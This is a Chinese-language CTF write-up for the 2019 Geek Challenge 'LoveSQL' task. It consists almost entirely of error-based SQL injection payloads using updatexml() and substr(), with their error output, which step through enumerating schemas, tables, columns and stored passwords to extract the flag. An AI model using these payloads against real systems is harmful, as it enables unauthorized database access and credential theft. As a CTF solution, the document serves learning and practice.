> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-ji-ke-da-tiao-zhan/lovesql.md).

# LoveSQL

报错注入爆数据库：

```
1' union select updatexml(1,concat(0x7e,(select group_concat(distinct TABLE_SCHEMA) FROM information_schema.tables),0x7e),1);#
```

返回结果

```
XPATH syntax error: '~information_schema,mysql,perfor'
```

爆表：

```
1' union select updatexml(1,concat(0x7e,(select group_concat(distinct TABLE_NAME) FROM information_schema.tables WHERE table_schema='geek'),0x7e),1);#
```

返回结果：

```
XPATH syntax error: '~geekuser,l0ve1ysq1~'
```

爆字段名：

```
1' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) FROM information_schema.columns WHERE table_schema= 'geek' AND table_name='l0ve1ysq1'
),0x7e),1);#
```

返回结果：

```
XPATH syntax error: '~id,username,password~'
```

爆字段内容，使用substr()截取字段内容，当截取到下标为225时，返回flag的一部分：

```
1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),225,250),0x7e),1);#
```

返回结果

```
XPATH syntax error: '~u_ji,Syc_san_da_hacker,flag{55a'
```

同理可得：

```
1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),250,275),0x7e),1);#
```

返回结果：

```
XPATH syntax error: '~ag{55a9c216-b598-4401-b136-9367'
XPATH syntax error: '~6-936743c1910c}~'
```

得到flag。